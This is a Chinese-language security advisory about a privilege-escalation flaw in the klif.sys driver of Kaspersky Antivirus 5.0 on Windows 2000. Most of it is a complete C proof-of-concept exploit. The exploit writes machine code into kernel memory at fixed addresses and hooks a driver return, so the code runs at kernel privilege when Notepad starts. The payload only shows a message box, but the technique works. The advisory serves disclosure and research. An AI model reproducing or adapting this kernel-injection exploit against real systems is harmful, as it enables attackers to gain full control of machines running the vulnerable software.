受影响系统：
Kaspersky Labs Kaspersky Antivirus 5.0.335
Kaspersky Labs Kaspersky Antivirus 5.0.228
Kaspersky Labs Kaspersky Antivirus 5.0.227
描述：
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BUGTRAQ ID: 13878
Kaspersky是一款非常流行的杀毒软件。
Microsoft Windows 2000平台的Kaspersky软件设计上存在漏洞，本地攻击者可能利用此漏洞提升自己的权限。
起因是Kaspersky内核驱动klif.sys没有正确丢弃高权限，攻击者可能利用这个漏洞以系统内核的权限执行任意代码。
<*来源：Ilya Rabinovich （info@softsphere.com）
链接：http://marc.theaimsgroup.com/?l=bugtraq&m=111817777430401&w=2
*>
测试方法：
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警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
//(C) by Ilya Rabinovich.
#include <windows.h>
PUCHAR pCodeBase=(PUCHAR)0xBE9372C0;
PDWORD pJmpAddress=(PDWORD)0xBE9372B0;
PUCHAR pKAVRets[]={(PUCHAR)0xBE935087,(PUCHAR)0xBE935046};
PUCHAR pKAVRet;
unsigned char code[]={0x68,0x00,0x02,0x00,0x00, //push 0x200
0x68,0x00,0x80,0x93,0xBE, //push <buffer address> - 0xBE938000
0x6A,0x00, //push 0
0xB8,0x00,0x00,0x00,0x00, //mov eax,<GetModuleFileNameA> -> +13
0xFF,0xD0, //call eax
0x68,0x00,0x80,0x93,0xBE, //push <buffer address>
0x68,0x00,0x82,0x93,0xBE, //push <address of the notepad path>- 0xBE938200
0xB8,0x00,0x00,0x00,0x00, //mov eax,<lstrcmpiA> -> +30
0xFF,0xD0, //call eax
0x85,0xC0, //test eax,eax
0x74,0x03, //je +03
0xC2,0x04,0x00, //retn 4
0x6A,0x00, //push 0
0x68,0x00,0x84,0x93,0xBE, //push <address of the message string>- 0xBE938400
0x68,0x00,0x84,0x93,0xBE, //push <address of the message string>- 0xBE938400
0x6A,0x00, //push 0
0xB8,0x00,0x00,0x00,0x00, //mov eax,<MessageBoxA> -> +58
0xFF,0xD0, //call eax
0xC2,0x04,0x00 //retn 4
};
unsigned char jmp_code[]={0xFF,0x25,0xB0,0x72,0x93,0xBE}; //jmp dword prt /
[0xBE9372B0]
//////////////////////////////////////////////////////////////
BOOLEAN LoadExploitIntoKernelMemory(void){
//Get function’s addresses
HANDLE hKernel=GetModuleHandle("KERNEL32.DLL");
HANDLE hUser=GetModuleHandle("USER32.DLL");
FARPROC pGetModuleFileNameA=GetProcAddress(hKernel,"GetModuleFileNameA");
FARPROC plstrcmpiA=GetProcAddress(hKernel,"lstrcmpiA");
FARPROC pMessageBoxA=GetProcAddress(hUser,"MessageBoxA");
*(DWORD*)(code+13)=(DWORD)pGetModuleFileNameA;
*(DWORD*)(code+30)=(DWORD)plstrcmpiA;
*(DWORD*)(code+58)=(DWORD)pMessageBoxA;
//Prepare our data into ring0-zone.
PCHAR pNotepadName=(PCHAR)0xBE938200;
char temp_buffer[MAX_PATH];
char *s;
SearchPath(NULL,"NOTEPAD",".EXE",sizeof(temp_buffer),temp_buffer,&s);
lstrcpy(pNotepadName,temp_buffer);
PCHAR pMessage=(PCHAR)0xBE938400;
lstrcpy(pMessage,"Notepad is running!!! KAV is vulnerable!!!");
memmove(pCodeBase,code,sizeof(code));
*pJmpAddress=(DWORD)pCodeBase;
memmove(pKAVRet,jmp_code,sizeof(jmp_code));
return TRUE;
}
///////////////////////////////////////////////////////////////
void UnloadExploitFromKernelMemory(){
UCHAR retn_4[]={0xC2,0x04,0x00};
memmove(pKAVRet,retn_4,sizeof(retn_4));
}
/////////////////////////////////////////////////////////////////
PUCHAR GetKAVRetAddress(void){
//Check the retn 4 in the KAV 0xBE9334E1 function end
//Also, we check the KAV klif.sys existance.
UCHAR retn_4[]={0xC2,0x04,0x00};
__try{
for(DWORD i=0;i<sizeof(pKAVRets)/sizeof(pKAVRets[0]);i++){
if(memcmp(pKAVRets[i],retn_4,sizeof(retn_4))==0)
return pKAVRets[i];
}
}__except(EXCEPTION_EXECUTE_HANDLER){MessageBox(NULL,"KAV is not /
installed",NULL,0);return NULL;}
MessageBox(NULL,"Wrong KAV version. You need 5.0.227, 5.0.228 or 5.0.335 versions of /
KAV",NULL,0); return NULL;
}
/////////////////////////////////////////////////////////////////
void main(void){
pKAVRet=GetKAVRetAddress();
if(NULL==pKAVRet)
return;
if(!LoadExploitIntoKernelMemory())
return;
char temp_buffer[MAX_PATH];
char *s;
SearchPath(NULL,"NOTEPAD",".EXE",sizeof(temp_buffer),temp_buffer,&s);
PROCESS_INFORMATION pi;
STARTUPINFO si={0};
si.cb=sizeof(si);
CreateProcess(NULL,temp_buffer,NULL,NULL,FALSE,
0,NULL,NULL,&si,&pi);
WaitForSingleObject(pi.hProcess,INFINITE);
MessageBox(NULL,"Now you may start your own Notepad instance to check this /
exploit!","KAV_EXPLOITER",0);
MessageBox(NULL,"Close this window to stop exploitation","KAV_EXPLOITER",0);
UnloadExploitFromKernelMemory();
}
建议：
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厂商补丁：
Kaspersky Labs
--------------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.kaspersky.com/ 【转自世纪安全网 http://www.21safe.com】
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